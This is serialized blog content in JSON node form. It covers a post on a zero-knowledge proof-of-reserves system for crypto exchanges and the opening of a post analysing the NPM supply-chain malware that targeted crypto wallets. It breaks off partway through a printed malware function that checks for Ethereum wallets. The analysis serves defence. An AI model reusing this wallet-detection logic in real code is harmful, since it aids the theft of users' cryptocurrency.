3],{"type":28,"value":92735},{"type":23,"tag":41,"props":96155,"children":96157},{"className":96156},[4012,21574],[96158],{"type":28,"value":56399},{"type":23,"tag":41,"props":96160,"children":96162},{"className":96161},[21703],[96163],{"type":28,"value":1737},{"type":23,"tag":41,"props":96165,"children":96167},{"className":96166},[4012,21574],[96168],{"type":28,"value":94233},{"type":23,"tag":41,"props":96170,"children":96172},{"className":96171},[4012,21574],[96173],{"type":28,"value":10649},{"type":23,"tag":41,"props":96175,"children":96177},{"className":96176},[4012],[96178,96183],{"type":23,"tag":41,"props":96179,"children":96181},{"className":96180},[4012,21574],[96182],{"type":28,"value":84339},{"type":23,"tag":41,"props":96184,"children":96186},{"className":96185},[4028],[96187],{"type":23,"tag":41,"props":96188,"children":96190},{"className":96189},[4033,21628],[96191,96220],{"type":23,"tag":41,"props":96192,"children":96194},{"className":96193},[4038],[96195,96215],{"type":23,"tag":41,"props":96196,"children":96198},{"className":96197,"style":92817},[4043],[96199],{"type":23,"tag":41,"props":96200,"children":96201},{"style":92821},[96202,96206],{"type":23,"tag":41,"props":96203,"children":96205},{"className":96204,"style":4053},[4052],[],{"type":23,"tag":41,"props":96207,"children":96209},{"className":96208},[4058,4059,4060,4061],[96210],{"type":23,"tag":41,"props":96211,"children":96213},{"className":96212},[4012,4061],[96214],{"type":28,"value":4024},{"type":23,"tag":41,"props":96216,"children":96218},{"className":96217},[21731],[96219],{"type":28,"value":21734},{"type":23,"tag":41,"props":96221,"children":96223},{"className":96222},[4038],[96224],{"type":23,"tag":41,"props":96225,"children":96227},{"className":96226,"style":92848},[4043],[96228],{"type":23,"tag":41,"props":96229,"children":96230},{},[],{"type":23,"tag":41,"props":96232,"children":96234},{"className":96233},[4124],[96235],{"type":28,"value":4127},{"type":23,"tag":41,"props":96237,"children":96239},{"className":96238,"style":4131},[4092],[],{"type":23,"tag":41,"props":96241,"children":96243},{"className":96242},[4012,21574],[96244],{"type":28,"value":94233},{"type":23,"tag":41,"props":96246,"children":96248},{"className":96247},[4012,21574],[96249],{"type":28,"value":10649},{"type":23,"tag":41,"props":96251,"children":96253},{"className":96252},[4012],[96254,96259],{"type":23,"tag":41,"props":96255,"children":96257},{"className":96256},[4012,21574],[96258],{"type":28,"value":84339},{"type":23,"tag":41,"props":96260,"children":96262},{"className":96261},[4028],[96263],{"type":23,"tag":41,"props":96264,"children":96266},{"className":96265},[4033,21628],[96267,96296],{"type":23,"tag":41,"props":96268,"children":96270},{"className":96269},[4038],[96271,96291],{"type":23,"tag":41,"props":96272,"children":96274},{"className":96273,"style":92817},[4043],[96275],{"type":23,"tag":41,"props":96276,"children":96277},{"style":92821},[96278,96282],{"type":23,"tag":41,"props":96279,"children":96281},{"className":96280,"style":4053},[4052],[],{"type":23,"tag":41,"props":96283,"children":96285},{"className":96284},[4058,4059,4060,4061],[96286],{"type":23,"tag":41,"props":96287,"children":96289},{"className":96288},[4012,4061],[96290],{"type":28,"value":317},{"type":23,"tag":41,"props":96292,"children":96294},{"className":96293},[21731],[96295],{"type":28,"value":21734},{"type":23,"tag":41,"props":96297,"children":96299},{"className":96298},[4038],[96300],{"type":23,"tag":41,"props":96301,"children":96303},{"className":96302,"style":92848},[4043],[96304],{"type":23,"tag":41,"props":96305,"children":96306},{},[],{"type":23,"tag":41,"props":96308,"children":96310},{"className":96309},[4124],[96311],{"type":28,"value":4127},{"type":23,"tag":41,"props":96313,"children":96315},{"className":96314,"style":4131},[4092],[],{"type":23,"tag":41,"props":96317,"children":96319},{"className":96318},[4012],[96320],{"type":28,"value":9589},{"type":23,"tag":41,"props":96322,"children":96324},{"className":96323},[4124],[96325],{"type":28,"value":4127},{"type":23,"tag":41,"props":96327,"children":96329},{"className":96328,"style":4131},[4092],[],{"type":23,"tag":41,"props":96331,"children":96333},{"className":96332},[4012,21574],[96334],{"type":28,"value":94233},{"type":23,"tag":41,"props":96336,"children":96338},{"className":96337},[4012,21574],[96339],{"type":28,"value":10649},{"type":23,"tag":41,"props":96341,"children":96343},{"className":96342},[4012],[96344,96349],{"type":23,"tag":41,"props":96345,"children":96347},{"className":96346},[4012,21574],[96348],{"type":28,"value":84339},{"type":23,"tag":41,"props":96350,"children":96352},{"className":96351},[4028],[96353],{"type":23,"tag":41,"props":96354,"children":96356},{"className":96355},[4033,21628],[96357,96391],{"type":23,"tag":41,"props":96358,"children":96360},{"className":96359},[4038],[96361,96386],{"type":23,"tag":41,"props":96362,"children":96364},{"className":96363,"style":92817},[4043],[96365],{"type":23,"tag":41,"props":96366,"children":96367},{"style":92821},[96368,96372],{"type":23,"tag":41,"props":96369,"children":96371},{"className":96370,"style":4053},[4052],[],{"type":23,"tag":41,"props":96373,"children":96375},{"className":96374},[4058,4059,4060,4061],[96376],{"type":23,"tag":41,"props":96377,"children":96379},{"className":96378},[4012,4061],[96380],{"type":23,"tag":41,"props":96381,"children":96383},{"className":96382},[4012,4061],[96384],{"type":28,"value":96385},"31",{"type":23,"tag":41,"props":96387,"children":96389},{"className":96388},[21731],[96390],{"type":28,"value":21734},{"type":23,"tag":41,"props":96392,"children":96394},{"className":96393},[4038],[96395],{"type":23,"tag":41,"props":96396,"children":96398},{"className":96397,"style":92848},[4043],[96399],{"type":23,"tag":41,"props":96400,"children":96401},{},[],{"type":23,"tag":41,"props":96403,"children":96405},{"className":96404},[21725],[96406],{"type":28,"value":2678},{"type":28,"value":6456},{"type":23,"tag":510,"props":96409,"children":96410},{},[96411],{"type":28,"value":94553},{"type":23,"tag":421,"props":96413,"children":96414},{},[96415,96420,96421],{"type":23,"tag":2913,"props":96416,"children":96417},{},[96418],{"type":28,"value":96419},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":6456},{"type":23,"tag":510,"props":96422,"children":96423},{},[96424],{"type":28,"value":94837},{"type":23,"tag":24,"props":96426,"children":96427},{},[96428],{"type":28,"value":96429},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":96431,"children":96432},{},[96433],{"type":23,"tag":3918,"props":96434,"children":96436},{"alt":50573,"src":96435},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":446,"props":96438,"children":96440},{"id":96439},"global-proof-and-inclusion-proofs",[96441],{"type":28,"value":96442},"Global Proof and Inclusion Proofs",{"type":23,"tag":546,"props":96444,"children":96445},{"id":9279},[96446],{"type":28,"value":96447},"Proving",{"type":23,"tag":24,"props":96449,"children":96450},{},[96451,96453,96459,96460,96466,96467,96473],{"type":28,"value":96452},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":37,"props":96454,"children":96456},{"className":96455},[],[96457],{"type":28,"value":96458},"merkle_tree.json",{"type":28,"value":970},{"type":23,"tag":37,"props":96461,"children":96463},{"className":96462},[],[96464],{"type":28,"value":96465},"final_proof.json",{"type":28,"value":6486},{"type":23,"tag":37,"props":96468,"children":96470},{"className":96469},[],[96471],{"type":28,"value":96472},"private_nonces.json",{"type":28,"value":96474}," files.",{"type":23,"tag":24,"props":96476,"children":96477},{},[96478],{"type":28,"value":96479},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":96481,"children":96482},{},[96483,96485,96491,96493,96498],{"type":28,"value":96484},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":37,"props":96486,"children":96488},{"className":96487},[],[96489],{"type":28,"value":96490},"inclusion_proof_\u003Cid>.json",{"type":28,"value":96492},"). ",{"type":23,"tag":2913,"props":96494,"children":96495},{},[96496],{"type":28,"value":96497},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":706},{"type":23,"tag":546,"props":96500,"children":96502},{"id":96501},"verifying",[96503],{"type":28,"value":96504},"Verifying",{"type":23,"tag":24,"props":96506,"children":96507},{},[96508],{"type":23,"tag":510,"props":96509,"children":96510},{},[96511],{"type":28,"value":96512},"Global Proof",{"type":23,"tag":24,"props":96514,"children":96515},{},[96516,96518,96523,96524,96529],{"type":28,"value":96517},"To verify the global proof, the code deserializes the ",{"type":23,"tag":37,"props":96519,"children":96521},{"className":96520},[],[96522],{"type":28,"value":96458},{"type":28,"value":37545},{"type":23,"tag":37,"props":96525,"children":96527},{"className":96526},[],[96528],{"type":28,"value":96465},{"type":28,"value":96530}," files and performs these checks:",{"type":23,"tag":5436,"props":96532,"children":96533},{},[96534,96539,96544,96549,96575],{"type":23,"tag":421,"props":96535,"children":96536},{},[96537],{"type":28,"value":96538},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":421,"props":96540,"children":96541},{},[96542],{"type":28,"value":96543},"Verify the ZK final proof.",{"type":23,"tag":421,"props":96545,"children":96546},{},[96547],{"type":28,"value":96548},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":421,"props":96550,"children":96551},{},[96552,96554,96560,96562,96567,96568,96573],{"type":28,"value":96553},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":37,"props":96555,"children":96557},{"className":96556},[],[96558],{"type":28,"value":96559},"merkle_tree_hash",{"type":28,"value":96561}," public input. This ensures that the ",{"type":23,"tag":37,"props":96563,"children":96565},{"className":96564},[],[96566],{"type":28,"value":96458},{"type":28,"value":1361},{"type":23,"tag":37,"props":96569,"children":96571},{"className":96570},[],[96572],{"type":28,"value":96465},{"type":28,"value":96574}," are linked (they belong to the same global proof).",{"type":23,"tag":421,"props":96576,"children":96577},{},[96578],{"type":28,"value":96579},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":96581,"children":96582},{},[96583],{"type":23,"tag":510,"props":96584,"children":96585},{},[96586],{"type":28,"value":96587},"Inclusion Proof",{"type":23,"tag":24,"props":96589,"children":96590},{},[96591,96593,96598,96600,96605],{"type":28,"value":96592},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":37,"props":96594,"children":96596},{"className":96595},[],[96597],{"type":28,"value":96490},{"type":28,"value":96599}," file and also the ",{"type":23,"tag":37,"props":96601,"children":96603},{"className":96602},[],[96604],{"type":28,"value":96465},{"type":28,"value":96606},". After that, it performs these checks:",{"type":23,"tag":5436,"props":96608,"children":96609},{},[96610,96614,96619,96624],{"type":23,"tag":421,"props":96611,"children":96612},{},[96613],{"type":28,"value":96543},{"type":23,"tag":421,"props":96615,"children":96616},{},[96617],{"type":28,"value":96618},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":421,"props":96620,"children":96621},{},[96622],{"type":28,"value":96623},"Recalculate the user-related node leaf hash.",{"type":23,"tag":421,"props":96625,"children":96626},{},[96627],{"type":28,"value":96628},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":446,"props":96630,"children":96632},{"id":96631},"por-verifier-server",[96633],{"type":28,"value":96634},"PoR Verifier Server",{"type":23,"tag":24,"props":96636,"children":96637},{},[96638,96640,96646],{"type":28,"value":96639},"To automate the verification process, we created a ",{"type":23,"tag":458,"props":96641,"children":96643},{"href":92276,"rel":96642},[462],[96644],{"type":28,"value":96645},"verifier server",{"type":28,"value":96647}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":96649,"children":96650},{},[96651],{"type":28,"value":96652},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":96654,"children":96655},{},[96656],{"type":23,"tag":3918,"props":96657,"children":96659},{"alt":50573,"src":96658},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":96661,"children":96662},{},[96663],{"type":28,"value":96664},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":417,"props":96666,"children":96667},{},[96668,96678,96688,96698,96708,96718],{"type":23,"tag":421,"props":96669,"children":96670},{},[96671,96676],{"type":23,"tag":510,"props":96672,"children":96673},{},[96674],{"type":28,"value":96675},"Status",{"type":28,"value":96677}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":421,"props":96679,"children":96680},{},[96681,96686],{"type":23,"tag":510,"props":96682,"children":96683},{},[96684],{"type":28,"value":96685},"Proof Timestamp",{"type":28,"value":96687}," --> when the proof was generated by the exchange.",{"type":23,"tag":421,"props":96689,"children":96690},{},[96691,96696],{"type":23,"tag":510,"props":96692,"children":96693},{},[96694],{"type":28,"value":96695},"Verify Timestamp",{"type":28,"value":96697}," --> when the proof was verified by the PoR server.",{"type":23,"tag":421,"props":96699,"children":96700},{},[96701,96706],{"type":23,"tag":510,"props":96702,"children":96703},{},[96704],{"type":28,"value":96705},"Proof File URL",{"type":28,"value":96707}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":421,"props":96709,"children":96710},{},[96711,96716],{"type":23,"tag":510,"props":96712,"children":96713},{},[96714],{"type":28,"value":96715},"Prover Version",{"type":28,"value":96717}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":421,"props":96719,"children":96720},{},[96721,96726],{"type":23,"tag":510,"props":96722,"children":96723},{},[96724],{"type":28,"value":96725},"File Hash (SHA256)",{"type":28,"value":96727}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":96729,"children":96730},{},[96731],{"type":28,"value":96732},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":96734,"children":96735},{},[96736],{"type":23,"tag":3918,"props":96737,"children":96739},{"alt":50573,"src":96738},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":96741,"children":96742},{},[96743,96745,96751,96753,96759],{"type":28,"value":96744},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":458,"props":96746,"children":96749},{"href":96747,"rel":96748},"https://backpack.exchange/reserves",[462],[96750],{"type":28,"value":96747},{"type":28,"value":96752}," and our verifier server for backpack at ",{"type":23,"tag":458,"props":96754,"children":96757},{"href":96755,"rel":96756},"https://backpack-por.osec.io/",[462],[96758],{"type":28,"value":96755},{"type":28,"value":706},{"type":23,"tag":446,"props":96761,"children":96763},{"id":96762},"self-verification",[96764],{"type":28,"value":96765},"Self-verification",{"type":23,"tag":24,"props":96767,"children":96768},{},[96769],{"type":28,"value":96770},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":546,"props":96772,"children":96774},{"id":96773},"how-to-verify-if-i-was-included",[96775],{"type":28,"value":96776},"How to verify if I was included?",{"type":23,"tag":24,"props":96778,"children":96779},{},[96780],{"type":28,"value":96781},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":5436,"props":96783,"children":96784},{},[96785,96796,96814],{"type":23,"tag":421,"props":96786,"children":96787},{},[96788,96795],{"type":23,"tag":458,"props":96789,"children":96792},{"href":96790,"rel":96791},"https://github.com/otter-sec/por_v2/releases",[462],[96793],{"type":28,"value":96794},"Download the PoRv2 executable from our github",{"type":28,"value":706},{"type":23,"tag":421,"props":96797,"children":96798},{},[96799,96801,96806,96807,96812],{"type":28,"value":96800},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":37,"props":96802,"children":96804},{"className":96803},[],[96805],{"type":28,"value":96490},{"type":28,"value":1361},{"type":23,"tag":37,"props":96808,"children":96810},{"className":96809},[],[96811],{"type":28,"value":96465},{"type":28,"value":96813},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":421,"props":96815,"children":96816},{},[96817,96819,96825],{"type":28,"value":96818},"Open the terminal and execute this: ",{"type":23,"tag":37,"props":96820,"children":96822},{"className":96821},[],[96823],{"type":28,"value":96824},"./plonky2_por verify-inclusion",{"type":28,"value":706},{"type":23,"tag":24,"props":96827,"children":96828},{},[96829],{"type":28,"value":96830},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":31,"props":96832,"children":96834},{"code":96833},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[96835],{"type":23,"tag":37,"props":96836,"children":96837},{"__ignoreMap":7},[96838],{"type":28,"value":96833},{"type":23,"tag":546,"props":96840,"children":96842},{"id":96841},"how-can-i-verify-the-global-proof",[96843],{"type":28,"value":96844},"How can I verify the global proof?",{"type":23,"tag":24,"props":96846,"children":96847},{},[96848],{"type":28,"value":96849},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":5436,"props":96851,"children":96852},{},[96853,96862,96880],{"type":23,"tag":421,"props":96854,"children":96855},{},[96856,96861],{"type":23,"tag":458,"props":96857,"children":96859},{"href":96790,"rel":96858},[462],[96860],{"type":28,"value":96794},{"type":28,"value":706},{"type":23,"tag":421,"props":96863,"children":96864},{},[96865,96867,96872,96873,96878],{"type":28,"value":96866},"Download the ",{"type":23,"tag":37,"props":96868,"children":96870},{"className":96869},[],[96871],{"type":28,"value":96458},{"type":28,"value":37545},{"type":23,"tag":37,"props":96874,"children":96876},{"className":96875},[],[96877],{"type":28,"value":96465},{"type":28,"value":96879}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":421,"props":96881,"children":96882},{},[96883,96885,96890],{"type":28,"value":96884},"Open the terminal and execute ",{"type":23,"tag":37,"props":96886,"children":96888},{"className":96887},[],[96889],{"type":28,"value":96824},{"type":28,"value":96891},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":96893,"children":96894},{},[96895],{"type":28,"value":96896},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":31,"props":96898,"children":96900},{"code":96899},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[96901],{"type":23,"tag":37,"props":96902,"children":96903},{"__ignoreMap":7},[96904],{"type":28,"value":96899},{"type":23,"tag":24,"props":96906,"children":96907},{},[96908],{"type":28,"value":96909},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":31,"props":96911,"children":96913},{"code":96912},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[96914],{"type":23,"tag":37,"props":96915,"children":96916},{"__ignoreMap":7},[96917],{"type":28,"value":96912},{"type":23,"tag":446,"props":96919,"children":96920},{"id":2811},[96921],{"type":28,"value":2814},{"type":23,"tag":24,"props":96923,"children":96924},{},[96925],{"type":28,"value":96926},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":96928,"children":96929},{},[96930,96932,96938],{"type":28,"value":96931},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":458,"props":96933,"children":96935},{"href":96747,"rel":96934},[462],[96936],{"type":28,"value":96937},"in production",{"type":28,"value":96939}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":96941,"children":96942},{},[96943,96945,96952],{"type":28,"value":96944},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":458,"props":96946,"children":96949},{"href":96947,"rel":96948},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[462],[96950],{"type":28,"value":96951},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":706},{"title":7,"searchDepth":54,"depth":54,"links":96954},[96955,96956,96957,96958,96961,96966,96970,96971,96975],{"id":92204,"depth":54,"text":92207},{"id":92285,"depth":54,"text":92288},{"id":92355,"depth":54,"text":92358},{"id":92409,"depth":54,"text":92412,"children":96959},[96960],{"id":92488,"depth":76,"text":92491},{"id":92576,"depth":54,"text":92579,"children":96962},[96963,96964,96965],{"id":92649,"depth":76,"text":92652},{"id":93121,"depth":76,"text":93124},{"id":94860,"depth":76,"text":94863},{"id":96439,"depth":54,"text":96442,"children":96967},[96968,96969],{"id":9279,"depth":76,"text":96447},{"id":96501,"depth":76,"text":96504},{"id":96631,"depth":54,"text":96634},{"id":96762,"depth":54,"text":96765,"children":96972},[96973,96974],{"id":96773,"depth":76,"text":96776},{"id":96841,"depth":76,"text":96844},{"id":2811,"depth":54,"text":2814},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":96980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96981,"description":96982,"date":96983,"author":31194,"image":96984,"isFeatured":18,"onBlogPage":18,"tags":96987,"body":96990,"_type":2864,"_id":99416,"_source":2866,"_file":99417,"_stem":99418,"_extension":2869},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":96985,"width":96986,"height":13},"/posts/supply-chain-attcks/title.png",1536,[96988,96989],"npm","supply-chain",{"type":20,"children":96991,"toc":99399},[96992,97005,97010,97015,97021,97026,97034,97364,97372,97935,97943,98650,98656,98661,98667,98672,98677,98683,98688,98700,98705,98731,98818,98830,98855,98871,98876,98881,99087,99129,99134,99146,99152,99164,99206,99219,99299,99311,99324,99331,99342,99350,99356,99369,99374,99378,99383,99395],{"type":23,"tag":24,"props":96993,"children":96994},{},[96995,96997,97003],{"type":28,"value":96996},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":37,"props":96998,"children":97000},{"className":96999},[],[97001],{"type":28,"value":97002},"chalk",{"type":28,"value":97004},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":97006,"children":97007},{},[97008],{"type":28,"value":97009},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":97011,"children":97012},{},[97013],{"type":28,"value":97014},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":446,"props":97016,"children":97018},{"id":97017},"qix-malware-how-it-worked",[97019],{"type":28,"value":97020},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":97022,"children":97023},{},[97024],{"type":28,"value":97025},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":5436,"props":97027,"children":97028},{},[97029],{"type":23,"tag":421,"props":97030,"children":97031},{},[97032],{"type":28,"value":97033},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":31,"props":97035,"children":97037},{"code":97036,"language":31359,"meta":7,"className":31357,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[97038],{"type":23,"tag":37,"props":97039,"children":97040},{"__ignoreMap":7},[97041,97061,97073,97117,97134,97141,97177,97189,97217,97237,97257,97269,97276,97311,97331,97343,97350,97357],{"type":23,"tag":41,"props":97042,"children":97043},{"class":43,"line":44},[97044,97048,97052,97057],{"type":23,"tag":41,"props":97045,"children":97046},{"style":64},[97047],{"type":28,"value":36140},{"type":23,"tag":41,"props":97049,"children":97050},{"style":64},[97051],{"type":28,"value":669},{"type":23,"tag":41,"props":97053,"children":97054},{"style":114},[97055],{"type":28,"value":97056}," checkethereumw",{"type":23,"tag":41,"props":97058,"children":97059},{"style":70},[97060],{"type":28,"value":1134},{"type":23,"tag":41,"props":97062,"children":97063},{"class":43,"line":54},[97064,97069],{"type":23,"tag":41,"props":97065,"children":97066},{"style":58},[97067],{"type":28,"value":97068},"  try",{"type":23,"tag":41,"props":97070,"children":97071},{"style":70},[97072],{"type":28,"value":102},{"type":23,"tag":41,"props":97074,"children":97075},{"class":43,"line":76},[97076,97080,97085,97089,97093,97097,97101,97105,97109,97113],{"type":23,"tag":41,"props":97077,"children":97078},{"style":64},[97079],{"type":28,"value":51663},{"type":23,"tag":41,"props":97081,"children":97082},{"style":858},[97083],{"type":28,"value":97084}," _0x124ed3",{"type":23,"tag":41,"props":97086,"children":97087},{"style":170},[97088],{"type":28,"value":3017},{"type":23,"tag":41,"props":97090,"children":97091},{"style":58},[97092],{"type":28,"value":36206},{"type":23,"tag":41,"props":97094,"children":97095},{"style":858},[97096],{"type":28,"value":31402},{"type":23,"tag":41,"props":97098,"children":97099},{"style":70},[97100],{"type":28,"value":706},{"type":23,"tag":41,"props":97102,"children":97103},{"style":858},[97104],{"type":28,"value":31411},{"type":23,"tag":41,"props":97106,"children":97107},{"style":70},[97108],{"type":28,"value":706},{"type":23,"tag":41,"props":97110,"children":97111},{"style":114},[97112],{"type":28,"value":31487},{"type":23,"tag":41,"props":97114,"children":97115},{"style":70},[97116],{"type":28,"value":15132},{"type":23,"tag":41,"props":97118,"children":97119},{"class":43,"line":85},[97120,97125,97129],{"type":23,"tag":41,"props":97121,"children":97122},{"style":735},[97123],{"type":28,"value":97124},"      'method'",{"type":23,"tag":41,"props":97126,"children":97127},{"style":858},[97128],{"type":28,"value":1474},{"type":23,"tag":41,"props":97130,"children":97131},{"style":735},[97132],{"type":28,"value":97133}," \"eth_accounts\"\n",{"type":23,"tag":41,"props":97135,"children":97136},{"class":43,"line":105},[97137],{"type":23,"tag":41,"props":97138,"children":97139},{"style":70},[97140],{"type":28,"value":32251},{"type":23,"tag":41,"props":97142,"children":97143},{"class":43,"line":155},[97144,97148,97152,97157,97161,97165,97169,97173],{"type":23,"tag":41,"props":97145,"children":97146},{"style":58},[97147],{"type":28,"value":2440},{"type":23,"tag":41,"props":97149,"children":97150},{"style":70},[97151],{"type":28,"value":142},{"type":23,"tag":41,"props":97153,"children":97154},{"style":858},[97155],{"type":28,"value":97156},"_0x124ed3",{"type":23,"tag":41,"props":97158,"children":97159},{"style":70},[97160],{"type":28,"value":706},{"type":23,"tag":41,"props":97162,"children":97163},{"style":858},[97164],{"type":28,"value":2395},{"type":23,"tag":41,"props":97166,"children":97167},{"style":170},[97168],{"type":28,"value":14186},{"type":23,"tag":41,"props":97170,"children":97171},{"style":164},[97172],{"type":28,"value":392},{"type":23,"tag":41,"props":97174,"children":97175},{"style":70},[97176],{"type":28,"value":152},{"type":23,"tag":41,"props":97178,"children":97179},{"class":43,"line":186},[97180,97185]